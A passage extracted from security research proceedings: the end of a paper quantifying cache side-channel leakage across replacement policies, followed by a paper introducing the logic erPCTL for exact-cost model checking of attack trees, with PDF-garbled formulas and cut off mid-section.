imum information leakage given in Proposition 6, which is independent of the
footprint, see Figs. 3a–d. In contrast, with PLRU the number of knowledge
sets increases with the footprint as predicted by Proposition 7, see Figs. 3e–f.

– For disjoint-memory adversaries and a filled initial state we always obtain
zero leakage. For PLRU and a footprint of 2 or 3 some cache lines remain
unoccupied. As before, these unoccupied lines trigger additional observations,
which explain the bump in Fig. 3e.

– We observe that FIFO exhibits the smallest difference between absorption
and extraction among all policies, i.e. once absorbed, it is comparably easy to
extract information from the cache, see Figs. 3a–b. This is because FIFO does
not reorder blocks upon hits, which makes systematic search for the cache
state easier.

6.2 Extraction (Program-Dependent)

We now use Algorithm 1 for computing the information that can be extracted
from the cache state w.r.t. a specific program. For this, we use as a basis the
set Sv of states output by the CacheAudit static analyzer, when run on an
implementation of AES 256. In this example we use a cache consisting of several
independent cache sets of associativity 4, blocks of 64 bytes and overall sizes of
4, 8, and 16 KB. We consider two cases, one that starts from a filled cache and
one that starts from an empty cache.

The full results are given in Fig. 4; here we highlight the following results.

– We obtain the bounds on the absorbed information corresponds to using the
CacheAudit static analyzer. The difference between the absorbed information
and the extractable information corresponds to the precision gained by the
development in this paper. This gain is generally higher when sets contain
more blocks, and reaches up to 50 bits for LRU on a 4 K cache with empty
initial state and a shared memory attacker, see Fig. 4d. That is, our extrac-
tion algorithm is a simple but powerful replacement for the model counting
algorithms in CacheAudit.

– The figures show a change in slope at different points. This is due to the fact
that the leakage about the full cache state is computed as the product of the
leakages about the individual sets. When increasing the cache size for a fixed
program, the footprint in each of the sets reduces. The combined effect of
considering more sets with smaller footprint each accounts for the change in
slope.
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(a) Filled cache using FIFO. (b) Empty cache using FIFO.
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(e) Filled cache using PLRU. (f) Empty cache using PLRU.

Absorption Extraction (Shared) Extraction (Disjoint)

Fig. 4. Information absorption and extraction (in bits) for the AES execution on a
4-way cache, for filled and empty initial cache states. (a), (c) and (e) depict the case of
a filled initial cache, (b), (d) and (f) an empty one. The horizontal axis depicts the size
of the cache in KB, the vertical axis depicts the extracted information in logarithmic
scale.

7 Related Work

Our work is related to existing models for adaptive probing [7,13]. There, how-
ever, the secret remains static. The model of [13] and the deterministic part of [7]
is a special case of ours, where the update function is the identity.

Mardziel et al. [17] develop an approach to quantify information flow
for dynamic secrets, that is, secrets that evolve over time. They consider a
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probabilistic system and attacks that consist of a fixed amount of steps. Attacks
finish with an exploit whose success is evaluated using gain functions [4]. Our
model for information extraction differs from their model in that it is determinis-
tic and allows to compute leakage for an undetermined number of attacks steps,
i.e., until the probing is depleted. We further provide an algorithm that actually
allows us to compute optimal strategies. We leave a probabilistic extension of
our model to future work.

The problem that we consider in this paper is related to the state identi-
fication problem for Mealy machines, which was first introduced by Moore in
[18], expanded upon by Gill in [11], and analyzed from a complexity perspective
by Lee and Yannakakis [15]. The state-identification problem is to determine
the initial state of a Mealy machine by probing strategies, just as in our case.
While we are interested in the maximal number of knowledge sets into which
the uncertainty about the initial state can be partitioned, state-identification
algorithms are only concerned with the decision problem, that is whether or not
a full identification, i.e., a partitioning into singleton knowledge sets is feasible,
and if it is, by which strategy. So our problem of finding the finest partition can
be seen as a quantitative generalization of the state-identification problem.

A proposal to quantify the security of cache memories was introduced in
[26]. In this case, they use several types of attackers and study the security
under different countermeasures, without considering the replacement policies
individually. They obtained arguments in favor of some countermeasures against
specific attacks. In our case we consider one single type of attacker, do not take
into account any type of countermeasure and compare the different replacement
policies.

8 Future Work and Conclusions

We presented a novel approach for quantifying isolation properties of shared
caches, based on a simple model of adaptive attacks against Mealy machines.
We use our approach for performing the first security analysis of common cache
replacement policies (LRU, FIFO, PLRU), as well as for improving the preci-
sion of the CacheAudit static analyzer. Our prime target for future work is to
investigate an extension of our model to Markov Decision Processes for dealing
with randomized replacement policies.
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Abstract. Attack trees constitute a powerful tool for modelling secu-
rity threats. Many security analyses of attack trees can be seamlessly
expressed as model checking of Markov Decision Processes obtained from
the attack trees, thus reaping the benefits of a coherent framework and a
mature tool support. However, current model checking does not encom-
pass the exact cost analysis of an attack, which is standard for attack
trees.

Our first contribution is the logic erPCTL with cost-related opera-
tors. The extended logic allows to analyse the probability of an event
satisfying given cost bounds and to compute the exact cost of an event.
Our second contribution is the model checking algorithm for erPCTL.
Finally, we apply our framework to the analysis of attack trees.

Keywords: Attack trees · Markov Decision Processes · Probabilistic
model checking · Probabilistic temporal logic

1 Introduction

Securing systems and organisations against possible threats is a crucial problem,
which becomes increasingly difficult with their growing complexity and their
involvement in our everyday life. Tackling this problem demands a thorough
investigation of the attack scenarios threatening the system of interest.

Attack trees are a powerful graphical formalism for representing attack sce-
narios in a structured, hierarchical way by splitting a complex goal into sub-goals
and eventually basic attacks [19]. Attack trees are used to analyse attack sce-
narios. Analyses are performed by considering specific properties of the scenario
and augmenting the tree with attributes. Typical attributes include probability
and cost of an attack [16], that are computed by propagating the values of the
leaves to the root of the tree. For instance, evaluation of the cost, i.e., the sum
of the costs of basic actions leading to an attack, is used to identify the cheapest
attack or to compare the cost of executing an attack with the attacker’s budget.

Attack scenarios with both probability and cost attributes express a combi-
nation of nondeterministic and probabilistic behaviour, i.e., an attacker has the
nondeterministic choice of performing a basic action and paying the correspond-
ing cost, while the performed basic action succeeds with a certain probability.
Hence, it is natural to construe the corresponding attack trees as Markov Deci-
sion Processes (MDPs). On this line, many security analyses of attack trees
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developed in the literature can be seamlessly expressed as probabilistic model
checking problems. This approach allows to reap the benefits of a coherent frame-
work – the many developments in the area of probabilistic model checking – and
a mature tool support.

In this context, Probabilistic Computation Tree Logic with rewards [13]
(rPCTL), an extension of CTL [9], can express many security properties of inter-
est. In particular, probabilistic model checking rPCTL [11] allows to establish
the probability of certain events occurring and a reward associated with them,
and therefore can encode analyses developed ad hoc for attack trees. However,
rPCTL only reasons about expected cost, i.e., the sum of the rewards along a
path multiplied with probabilities. Exact cost properties, which reason about the
sum of the costs along the path, are instead useful when studying attackers with
fixed resources as is typical for attack trees, but cannot be captured in rPCTL.

In order to address exact cost analysis, we extend rPCTL with cost-related
operators. We present a new exact cost operator C which allows to reason about
the cost of an event and to express properties such as “what is the minimum cost
of a successful attack?” or “is there a way to attack the system by spending no
more than the available budget?” Moreover, we consider a general notation for
a reward-bounded until operator and define a new operator which evaluates the
probability of an event satisfying the given cost bounds. Finally, we develop a
model checking algorithm for the extended logic erPCTL. The algorithm works
on standard MDPs and we show how to transform an attack tree into an MDP.

As a result, erPCTL model checking encompasses standard analyses on
attack trees, including exact cost analyses, thus offering a unifying framework
for different approaches to the analysis of attack trees.

We demonstrate our developments on an example of a cloud environment
studied in the project TREsPASS [20].

Related work. Different operators have been investigated to compute different
kinds of rewards. For instance, Forejt et al. [11] extend PCTL with new operators
that are used to evaluate instantaneous and cumulative expected reward, while
operators for expressing long-run and accumulated expected reward are presented
in [1].

Nevertheless, these extensions do not reason about the cumulative reward
along the path, i.e., they cannot express properties such as “the probability
of reaching the success state is at least 0.7, while the cumulative reward is at
most 50”. To overcome this limitation, rPCTL has been extended with the path
operator reward-bounded until [6, Chap. 10], [5,8]. The operator verifies if the
cumulative reward along a path satisfying the property meets the given bound.
Further development of the logic have been proposed to cope with multi-objective
model checking [12]. In particular, [21] introduced the concept of quantile for
computing expected rewards within given probability bounds.

Elsewhere, various studies have explored a state-based probabilistic model
for evaluation of attack and defence scenarios. In particular, Arnold et al. [2]
analysed the timing of attack scenarios using continuous-time Markov chains; [17]
used priced time automata and the Uppaal model checker to analyse attack trees,
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but without probabilities. More recently, [14] explored how stochastic timed
automata can be used to study attack-defence scenarios where timing plays a
central role. Along a similar line, Aslanyan et al. [4] proposed a game-theoretic
approach for the formal analyses of complex attack-defence scenarios, allowing to
both verify security properties of interest and to synthesise strategies for attacker
and defender with respect to some goal.

Organisation of the paper. In Sect. 2 we provide background material on
attack trees, Markov Decision Processes and rPCTL. The new logic erPCTL
and the model checking algorithm are presented in Sects. 3 and 4, respectively.
In Sect. 5 we describe our proposed translation from attack trees to MDPs and
their evaluation. We conclude and discuss future research directions in Sect. 6.

2 Preliminaries

2.1 Attack Trees

An attack tree is a graphical representation of an attack scenario. The root of
the tree represents the main goal of the attacker. The leaves represent the basic
actions that the attacker can perform in order to achieve his/her goal. The inter-
nal nodes show how the basic actions can be combined. For the sake of simplifying
the technical developments, we assume that the actions are independent.

The abstract syntax of an attack tree t is as follows [3]:

t ::= a | &∧(t1, t2) | &∨(t1, t2) | &true | &false

A tree is either a leaf or the application of a tree operator to one or two sub-
trees. A leaf a is a basic action of the attacker. We denote the set of basic actions
by Act. The special leaves true and false represent a trivially-successful and a
trivially-failed action, respectively.

As standard in the literature, tree operators include conjunction and disjunc-
tion. The conjunction operator t = &∧(t1, t2) requires that the goals of t1, t2 are
achieved in order for the goal of t to be achieved. The disjunction operator
t = &∨(t1, t2) requires that the goal of at least one sub-tree is achieved in order
for the goal of t to be achieved.

We associate each basic action a ∈ Act with a success probability p(a) in case
of performing a, p : Act → [0, 1]. Moreover, we associate with each basic action
a ∈ Act a cost c of performing a, c : Act → Q≥0.

2.2 Markov Decision Processes

In the following we recall the basic definitions on MDPs following [6,11].

Definition 1 (MDP). A Markov Decision Process is a tuple M =
(S, α, P, T, s0, AP,L) where we can find sets SA (of attacker nondeterministic
states), SP (of probabilistic states), and S� (of final states), such that
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– S = SA � SP � S�, where � denotes the finite disjoint union of sets;
– α is a finite, non-empty set of actions;
– P : SP × S → [0, 1] is a probabilistic transition function such that for all

probabilistic states s ∈ SP

∑
s′∈S P (s, s′) = 1;

– T : SA × α → S is a transition function;
– s0 ∈ S is the initial state;
– AP is a set of atomic propositions; and
– L : S → 2AP is a labelling function.

The probabilistic transition function P describes the probability P (s, s′) of
a transition from the state s to the state s′ in one step. The transition function
T is used to solve nondeterminism. For a state s and an action l ∈ α selected
nondeterministically, function T specifies the successor state s′, T (s, l) = s′. We
denote by α(s) the set of enabled actions in the state s ∈ SA, α(s) = {l ∈ α |
s ∈ SA and T (s, l) is defined}.

An infinite path in an MDP is a non-empty sequence of states π = s0s1 · · ·
where si ∈ S. A finite path is a finite sequence of states π = s0 · · · sn, where
si ∈ S. We denote by Pathfin

s and Paths the set of all finite and infinite paths
that start in state s, respectively, and by π[i] we denote the i-th state of the
path, π[i] = si.

A scheduler is a function σ : S∗SA → α that maps a finite path to an action. A
scheduler corresponds to one possible resolution of nondeterminism. A scheduler
σ is memoryless if for any π, π′ ∈ S∗ and s ∈ SA, σ(πs) = σ(π′s) = σ(s). We
denote by Σ the set of all possible schedulers of an MDP. A probability measure
Prσ

s under a scheduler σ is defined in the standard fashion [15].
We also define a reward structure of the form r : S → Q≥0, which we use to

model costs associated with an MDP model. For a finite path π = s0s1 · · · sn we
define its total cost as cost(π) =

∑
si∈π r(si).

2.3 Probabilistic Model Checking

For expressing the probability and cost-related properties of MDPs we shall use
the Probabilistic Computation Tree Logic with rewards (rPCTL) [6,11].

Definition 2 (rPCTL Syntax). The syntax of rPCTL is as follows:

φ::= true | a | ¬φ | φ1 ∧ φ2 | P��p(ψ) | Er
��x(Fφ)

ψ::= Xφ | φ1Uφ2

where a ∈ AP is an atomic proposition, �	∈ {≥, >,≤, <}, p ∈ Q∩[0, 1], x ∈ Q≥0,
and r : S → Q≥0 is a reward structure.

A formula defined in rPCTL can be either a state formula φ evaluated over
states, or a path formula ψ evaluated over paths. State formulae are used to
express the properties of the model, while path formulae are used only as the
parameter of the probabilistic operator P . The operator P reasons about the
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probability of paths satisfying a formula ψ, while the expected rewards operator
E is used to evaluate the expected cost of reaching a state that satisfies φ.

Path formulae are constructed with the operators next and until, denoted
by X and U , respectively. The path operator U allows to derive the new path
operator eventually, denoted by F , as follows: Fφ ≡ true U φ.

Definition 3 (rPCTL Semantics). Let M = (S, α, P, T, s0, AP,L) be an
MDP, σ a scheduler of M and s ∈ S. The satisfaction relation |= of rPCTL for
state formulae is defined inductively by:

s |= true ∀s ∈ S
s |= a iff a ∈ L(s)
s |= ¬φ iff s � φ
s |= φ1 ∧ φ2 iff s |= φ1ands |= φ2

s |= P��p(ψ) iff Prσ
s (ψ) �	 p for all schedulers σ ∈ Σ

s |= Er
��x(Fφ) iff Expσ

s (Zr
Fφ) �	 x for all schedulers σ ∈ Σ

where Prσ
s (ψ) = Prσ

s ({π ∈ Paths | π |= ψ}), and Expσ
s (Zr

Fφ) denotes the
expectation of the random variable Zr

Fφ : Paths → Q≥0 under scheduler σ with
respect to the probability measure Prσ

s ,

Zr
Fφ(π) =

{∞ ifπ[i] � φ for all i ∈ N

∑min{j|π[j] |= φ}−1
i=0 r(π[i]) otherwise

For a path π in M, the satisfaction relation is defined by:

π |= Xφ iff π[1] |= φ
π |= φ1Uφ2 iff ∃j ≥ 0 : π[j] |= φ2 ∧ (0 ≤ k < j : π[k] |= φ1)

Operators P and E. We expand on the semantics of P and E defined above,
showing how queries over all schedulers reduce to reasoning over infimum and
supremum over all schedulers.

We are interested in computing the minimum and the maximum probabilities
and expected cost for certain formulae to hold. By the result in [6, Ch. 10],
we know that there exist memoryless schedulers σmin and σmax that minimise
and maximise, respectively, the probabilities of eventually reaching a state that
satisfies φ:

Prσmin
s (Fφ) = infσ∈Σ Prσ

s (Fφ)
Prσmax

s (Fφ) = supσ∈Σ Prσ
s (Fφ)

This holds for every state s. In particular we will have:

s |= P��p(ψ) ⇔ Prσmin
s (ψ) �	 p for �	∈ {≥, >}

s |= P��p(ψ) ⇔ Prσmax
s (ψ) �	 p for �	∈ {≤, <}

A similar reasoning holds for the operator E, where we are interested in
computing the minimum and the maximum expected cost values over all sched-
ulers. From [11] we know that there exist memoryless schedulers σmin and σmax



Model Checking Exact Cost for Attack Scenarios 215

that minimise and maximise, respectively, the expected cumulative reward of
reaching a state that satisfies φ:

Expσmin
s (Zr

Fφ) = inf
σ

Expσ
s (Zr

Fφ)

Expσmax
s (Zr

Fφ) = sup
σ

Expσ
s (Zr

Fφ)

In particular, we can write:

s |= Er
��x(Fφ) ⇔ Expσmin

s (Zr
Fφ) �	 x for �	∈ {≥, >}

s |= Er
��x(Fφ) ⇔ Expσmax

s (Zr
Fφ) �	 x for �	∈ {≤, <}

We refer the reader to [11] for full details on rPCTL. We shall follow the same
ideas when defining the model checking algorithms for erPCTL in Sect. 4.

3 The Logic erPCTL

In this section we introduce erPCTL (Probabilistic Computation Tree Logic with
Exact Rewards) for expressing probability as well as cost-related properties of
MDPs. The logic erPCTL is an extension of the temporal logic rPCTL. It allows
to reason about the properties over cost measures such as probability within a
cost bound or minimum exact cost of an execution.

Definition 4 (erPCTL Syntax). The syntax of the extended logic erPCTL is
defined as follows:

φ ::= true | a | ¬φ | φ1 ∧ φ2 | P��p(ψ) | Er
��x(Fφ) | PJ(ψ | I) | CI(ψ)

ψ ::= Xφ | φ1Uφ2

where a ∈ AP , �	∈ {≥, >,≤, <}, p ∈ Q ∩ [0, 1], J ⊆ [0, 1] is a closed non-empty
interval with rational bounds, x ∈ Q≥0, I ⊆ Q≥0 is a non-empty interval with
rational bounds (allowing infinity as upper bound), and r : S → Q≥0 is a reward
structure.

Similarly to rPCTL, we differentiate between state formulae (φ) and path
formulae (ψ). The operators inherited from rPCTL have the same semantics.
The intuitive interpretation of the new operators is as follows. The probabilistic
operator with cost bound PJ(ψ | I) is used to evaluate the probability over the
paths satisfying the formula ψ and the cost bound I. The cost operator CI(ψ)
is used to evaluate the exact cost of the paths satisfying the formula ψ. These
operators allow us to check queries like “is the probability of an attack in the cost
interval [300,540] smaller than or equal to 0.85?” or “is the cost of all successful
attacks greater than 300?”. Such queries cannot be expressed in rPCTL if by
“cost” we mean “exact cost”.

For simplifying the technical developments, without loss of generality we
move from rational numbers to a sparse subset of the rationals for costs.
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Proposition 1. For any finite set Y ⊆ Q there exists N ∈ N>0 such that
Y ⊆ Z

N � Q, where Z

N is a set of rational numbers expressed as fractions of the
same non-zero denominator N .

Proposition 2. The set Z

N is closed under addition.

Proposition 3. All intervals in Z≥0

N are downwards closed (contain their own
infimum); all upward bounded intervals in Z≥0

N are upwards closed (contain their
own supremum).

Corollary 1. For all natural numbers N ∈ N>0 and sets Y ⊆ Z≥0

N it holds that

sup(Y ) ∈

⎧
⎪⎪⎨

⎪⎪⎩

{−∞} if Y = ∅
{+∞} if Y not bounded

fromabove
Y otherwise

inf(Y ) ∈
{{+∞} if Y = ∅

Y otherwise

Remark 1. The new operators of erPCTL are treated similarly to the operators
of rPCTL, reducing to the computation of infimum and supremum.

The cost operator CI(ψ) computes the exact cost of reaching a state that
satisfies ψ, where the cost values are summed along the path without multiplying
with probability, as opposed to the computation of the standard expected cost
operator of rPCTL. Hence, with the help of Propositions 2 and 3, we only need
to consider intervals of the form [c1, c2] and [c,∞).

A similar reasoning holds for the cost interval I in the probabilistic operator
with cost bound PJ(ψ | I). However, this is not the case for the probability
interval J . In the evaluation of the formula PJ(ψ | I) probabilities are multi-
plied along the path, hence we cannot use Corollary 1 as Z

N is not closed under
multiplication. Thus, we limit ourselves to consider only closed intervals J . ��

Quantitative extension of erPCTL. The operators PJ(ψ | I) and CI(ψ) are
validating whether or not the given bound is satisfied. They are not determining
the actual probability and cost values. However, as the model checking algorithm
is computing such values, we can extend the logic with quantitative operators
such as Pmin=?(ψ | I), Pmax=?(ψ | I), Cmin=?(ψ) and Cmax=?(ψ). Formally,
such formulae can be expressed as numeric state formulae [18].

The semantics of the propositional logic fragment and of probabilistic and
reward formulae is defined as for rPCTL. Below we will discuss the semantics of
the new operators PJ(ψ | I) and CI(ψ).

3.1 Probabilistic Operator with Cost Bound PJ(ψ | I)

We propose the operator PJ(ψ | I) for probability computation with cost bound,
where ψ is a path formula, J ⊆ [0, 1] is a closed non-empty probability interval
and I ⊆ Q≥0 is a non-empty cost interval of the form [c1, c2] or [c,∞).
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Before defining the formal semantics of PJ(ψ | I), let us introduce some
useful notation. We define the semantics of each path formula with cost interval
I as follows:

π |= IXφ iff π[1] |= φ ∧ cost(π[0 1]) ∈ I
π |= Iφ1Uφ2 iff ∃j ≥ 0 : π[j] |= φ2 ∧ (0 ≤ k < j : π[k] |= φ1)

∧ cost(π[0 · · · j]) ∈ I

The semantics of the probabilistic operator with cost bound is as follows:

s |= PJ(ψ | I) iff Prσ
s (ψ | I) ∈ J for all schedulers σ ∈ Σ

where Prσ
s (ψ | I) = Prσ

s {π ∈ Pathσ
s | π |= Iψ}.

Intuitively, PJ(ψ | I) states that the probability of the paths starting from
state s and satisfying the formula ψ and cost bound I is in the interval J .

The formula PJ(ψ) is treated as a special case of the formula PJ(ψ | I):

PJ(ψ) ≡ PJ(ψ | [0,∞))

As mentioned above, the semantics considers all possible schedulers, but we
can rephrase it in terms of infimum and supremum. It is immediate that the
following equation holds:

P[p1,p2](ψ) ≡ P≥p1(ψ) ∧ P≤p2(ψ)

The result holds also in case of cost intervals on both sides of the equation:

P[p1,p2](ψ | I) ≡ P≥p1(ψ | I) ∧ P≤p2(ψ | I)

We are interested in computing the minimum and the maximum probability
values within given cost bounds:

s |= P≥p(ψ | I) ⇔ infσ∈Σ Prσ
s (ψ | I) ≥ p

s |= P≤p(ψ | I) ⇔ supσ∈Σ Prσ
s (ψ | I) ≤ p

where the clauses above hold thanks to the reduction of costs from Q≥0 to Z≥0

N
explained in Propositions 1, 3 and Corollary 1.

3.2 Cost Operator CI(ψ)

We propose the operator CI(ψ) for exact cost computation, where ψ is a path
formula and I ⊆ Q≥0 is a non-empty cost interval of the form [c1, c2] or [c,∞).

Before defining the formal semantics of CI(ψ), let us introduce some useful
notation. We define the cost set of an infinite path π = s0s1 · · · for each path
formula, denoted by cost(π, ψ), as follows:

cost(π,Xφ) = {cost(π[0 1]) | π[1] |= φ}
cost(π, φ1Uφ2) = {cost(π[0 · · · k]) | π[k] |= φ2 ∧ (0 ≤ i < k : π[i] |= φ1)}

When the path formula φ is not satisfied, then the set is empty. Otherwise, it
contains the set of possible costs.
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Fact 1. For a path π, a cost interval I and a path formula ψ it holds that

π |= I ψ ⇔ ∃c ∈ cost(π, ψ) : c ∈ I

Fact 2. For a path π and a path formula ψ it holds that

π |= ψ ⇔ π |= [0,∞)ψ

The semantics of the cost operator is as follows:

s |= CI(ψ) iff ∀σ ∈ Σ : ∀π ∈ Pathσ
s : ∀c ∈ cost(π, ψ) : c ∈ I

Intuitively, CI(ψ) states that the exact (cumulative) cost of paths starting in
state s and satisfying formula ψ under scheduler σ is in the interval I.

In order to verify the cost formula with a general cost interval, we reduce
the problem to intervals with only lower and upper bounds according to the
following equivalence result:

C[c1,c2](ψ) ≡ C≥c1(ψ) ∧ C≤c2(ψ)

Thus, to verify that the exact cost of each path satisfying the formula ψ is in
the interval it is sufficient to verify that the exact cost of each path satisfying ψ
meets the lower and upper bounds. Again, this problem can be reduced to verify
that the infimum (respectively the supremum) cost meets the bound:

s |= C≥c(ψ) ⇔ (infσ∈Σ infπ∈Pathσ
s

inf cost(π, ψ)) ≥ c

s |= C≤c(ψ) ⇔ (supσ∈Σ supπ∈Pathσ
s

sup cost(π, ψ)) ≤ c

where the clauses above hold thanks to the reduction of costs from Q≥0 to Z≥0

N
explained in Propositions 1, 3 and Corollary 1.

4 Model Checking erPCTL

To verify properties defined in erPCTL we develop a model checking algorithm.
Given a model of the system defined by an MDP M and a property specified
by an erPCTL state formula φ, model checking verifies whether the model M
satisfies the formula φ. For verification of the formula φ the model checking
algorithm automatically determines the states of M that satisfies φ. The algo-
rithm recursively traverses the parse tree of φ in a bottom-up fashion, where the
internal nodes of the parse tree represents the sub-formulae of φ and the leaves
correspond to the constant true or an atomic proposition a ∈ AP . For each sub-
formula φ′ of φ, the algorithm recursively computes the set of satisfying states
Sat(φ′) = {s ∈ S | s |= φ′}.

For atomic propositions, logical connectives, the probabilistic operator and
the reward operator the model checking algorithm is the same as for rPCTL [11].
In the following we will discuss the algorithm for the new operators.
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4.1 Model Checking the Operator PJ(ψ | I)

The algorithm for the probabilistic operator with a cost bound is reduced to the
computation of the minimum and the maximum values:

Sat(P≥p(ψ | I)) = {s ∈ S | infσ∈Σ Prσ
s (ψ | I) ≥ p}

Sat(P≤p(ψ | I)) = {s ∈ S | supσ∈Σ Prσ
s (ψ | I) ≤ p}

Here we explain how to determine the minimum probability satisfying the for-
mula in the cost interval, separately for each path formula ψ. The computation
for the maximum probability is performed analogously.
The Operator Next (ψ = Xφ). First, we consider the operator Next. For
computing the minimum probability of satisfying Xφ in the cost interval I,

xmin
s = inf

σ∈Σ
Prσ

s (Xφ | I)

we are solving the following equations:

xmin
s =

⎧
⎪⎪⎪⎨

⎪⎪⎪⎩

0 if s ∈ S�∑
s′∈Sat(φ)

r(s)+r(s′)∈I

P (s, s′) if s ∈ SP

minl∈α

{
1 if T (s, l) ∈ Sat(φ) ∧ (r(s) + r(T (s, l))) ∈ I
0 otherwise if s ∈ SA

As the sets S�, SP , SA are disjoint and we identified the set of states for which
xmin

s equals 0, we can compute xmin
s as the unique solution of the system above.

The Operator Until (ψ = φ1Uφ2). Let us now discuss the computation
of PJ(ψ | I) for the operator Until. Again we are interested in computing
infσ∈Σ Prσ

s (ψ | I) and supσ∈Σ Prσ
s (ψ | I). Before presenting the computation,

it is worthwhile noticing that in many real-life scenarios the cost interval I has
only an upper bound or a lower bound. Thus, we develop the computation in
three different cases with respect to the cost bounds; only an upper bound [0, c2],
only a lower bound [c1,∞), or both bounds (cost interval) [c1, c2].
Case I = [0, c2]. Having only an upper bound c2 for cost, the values of interest
are infσ∈Σ Prσ

s (φ1Uφ2 | [0, c2]) and supσ∈Σ Prσ
s (φ1Uφ2 | [0, c2]). First, we define

xmin
s (c) = inf

σ∈Σ
Prσ

s (φ1Uφ2 | [0, c])

where c ≥ 0 is the maximum amount that may be spent, where initially c = c2.
The algorithm follows the corresponding one for the probabilistic operator in
rPCTL. The difference is that in each considered case (set of states) we examine
the cost bound as well. For instance, for the set of states for which Prσ

s (φ1Uφ2)
is 1 we need to ensure that their costs are within the threshold c (r(s) ≤ c):
instead, when their costs exceed the threshold (r(s) > c), these states are in the
set for which Prσ

s (φ1Uφ2) is 0. Thus, xmin
s (c) can be computed by solving the

following equation system:
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xmin
s (c) =

⎧
⎪⎪⎪⎪⎪⎪⎨

⎪⎪⎪⎪⎪⎪⎩

1 if s ∈ Sat(φ2) ∧ r(s) ≤ c (1)
0 if s ∈ S0

min ∨ r(s) > c (2)∑
s′∈S P (s, s′) · xmin

s′ (c − r(s)) if s ∈ SP \(S0
min ∪ Sat(φ2))

∧ r(s) ≤ c (3)
minl∈α xmin

T (s,l)(c − r(s)) if s ∈ SA\(S0
min ∪ Sat(φ2))

∧ r(s) ≤ c (4)

where S0
min = {s ∈ S | ∃σ ∈ Σ : Prσ

s (φ1Uφ2) = 0}.
To better understand the system, let us look into the following table:

Sat(φ2) S0 s ∈ SP \(S0 ∪ Sat(φ2)) s ∈ SA\(S0 ∪ Sat(φ2))

≤ c (1) (2) (3) (4)

> c (2) (2) (2) (2)

The first row of the table illustrates the four disjoint sets of states (1–4). The
first column shows the cost threshold. As we have an upper cost bound, all costs
can be divided into two groups; those that are within the bound (≤ c) and those
that are outside the bound (> c). The table maps each possible combination of
a set of states and cost bound for a state with the corresponding equation.

We consider the minimum value of the equation system in case of multiple
solutions. However, the problem is similar to the stochastic shortest path prob-
lem, discussed in [7,10], and thus, the equation system has a unique solution.
Case I = [c1,∞). Let us present now the case when I has only a lower bound. We
are interested in computing the probability of the paths that have cost greater
than or equal to c1. In this case the values of interest are infσ∈Σ Prσ

s (φ1Uφ2 |
[c1,∞)) and supσ∈Σ Prσ

s (φ1Uφ2 | [c1,∞)).
We define

xmin
s (c) = inf

σ∈Σ
Prσ

s (φ1Uφ2 | [c,∞))

where c ∈ Q is the required minimum amount to be spent. First, we identify the
set of states for which Prσ

s (φ1Uφ2) is 0:

S0
min = {s ∈ S | ∃σ ∈ Σ : Prσ

s (φ1Uφ2) = 0}

Observe that having a lower cost bound it might happen that a prefix of a path
satisfies the formula but the required cost budget is not reached. We handle
this situation by continuing the computation until we find a point where both
the formula and the required cost budget are satisfied. Thus, for the set with
probability 1 we check the satisfiability of the cost budget. If a state satisfies
φ2 (s ∈ Sat(φ2)) and the required cost amount c (r(s) ≥ c), then we stop the
computation. Otherwise, we continue the iteration based on a type of the state.
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xmin
s (c) =

⎧
⎪⎪⎪⎪⎪⎪⎨

⎪⎪⎪⎪⎪⎪⎩

1 if s ∈ Sat(φ2) ∧ r(s) ≥ c (1)
0 if s ∈ S0

min (2)∑
s′∈S P (s, s′) · xmin

s′ (c − r(s)) if s ∈ SP \(S0
min ∪ Sat(φ2))∨ (3a)

(s ∈ SP ∩ Sat(φ2) ∧ r(s) < c) (3b)
minl∈α xmin

T (s,l)(c − r(s)) if s ∈ SA\(S0
min ∪ Sat(φ2))∨ (4a)

(s ∈ SA ∩ Sat(φ2) ∧ r(s) < c) (4b)

We present the following table to associate each set of states and cost amount
for a state with the corresponding equation.

Sat(φ2) S0 s ∈ SP \(S0 ∪ Sat(φ2)) s ∈ SA\(S0 ∪ Sat(φ2))

≥ c (1) (2) (3a) (4a)

< c (3b), (4b) (2) (3a) (4a)

Observe that for the states in Sat(φ2) and cost < c there are two equations. The
Eqs. (3b) and (4b) correspond to the continuation of the computation in case
the formula is satisfied but the required cost amount is not reached.

In case of multiple solutions we consider the minimum value of the equation
system above.

Remark 2. Consider an MDP with one state s ∈ SA and r(s) = 0, like the
one presented in Fig. 1. We are interested in computing infσ∈Σ Prσ

s (true Uφ |
[10,∞)). Checking the conditions of the equations above, we can see that the
state s satisfies the condition (4b), as s ∈ Sat(φ) and r(s) < c. From the equation
system we have that xmin

s (c) = xmin
s (c), and thus the system above has infinitely

many solutions.

φstart
s

l

Fig. 1. The MDP
example discussed
in Remark 2.

For ensuring a unique solution of the equation system
we can use the techniques described in [10,11], where the
reader is referred for details. The main idea is to modify the
MDP by removing states with self-loop and zero cost.

General case I = [c1, c2]. Let us now present the general
case, where we have both lower and upper bounds. We are
interested in computing infσ∈Σ Prσ

s (φ1Uφ2 | [c1, c2]) and
supσ∈Σ Prσ

s (φ1Uφ2 | [c1, c2]), where c1 ≤ c2.
We define

xmin
s (c′, c′′) = inf

σ∈Σ
Prσ

s (φ1Uφ2 | [c′, c′′])

where c′ ∈ Q is the required minimum amount to be spent and c′′ ≥ 0 is the
maximum amount that may be spent. Similarly to previous cases, we examine
the cost amount for each set of states. For instance, the states in the set with
probability 1 should satisfy not only the formula φ2 but also be in the cost
interval [c′, c′′], while the states above the cost interval (r(s) > c′′) should be in
the set with probability 0.



222 Z. Aslanyan and F. Nielson

xmin
s (c′, c′′) =

⎧
⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎨

⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎩

1 if s ∈ Sat(φ2) ∧ r(s) ∈ [c′, c′′] (1)
0 if s ∈ S0

min ∨ r(s) > c′′ (2)∑
s′∈S P (s, s′) · xmin

s′ (c′ − r(s), c′′ − r(s))
if (s ∈ SP \(S0

min ∪ Sat(φ2)) ∧ r(s) ≤ c′′) (3a)
∨ (s ∈ SP ∩ Sat(φ2) ∧ r(s) < c′) (3b)

minl∈A xmin
T (s,l)(c

′ − r(s), c′′ − r(s))
if (s ∈ SA\(S0

min ∪ Sat(φ2)) ∧ r(s) ≤ c′′) (4a)
∨ (s ∈ SA ∩ Sat(φ2) ∧ r(s) < c′) (4b)

We present the following table to associate each set of states and cost amount
for a state with the corresponding equation.

Sat(φ2) S0 s ∈ SP \(S0 ∪ Sat(φ2)) s ∈ SA\(S0 ∪ Sat(φ2))

≥ c′ and ≤ c′′ (1) (2) (3a) (4a)

> c′′ (2) (2) (2) (2)

< c′ (3b), (4b) (2) (3a) (4a)

Differently from the previous cases, here the cost values are divided into
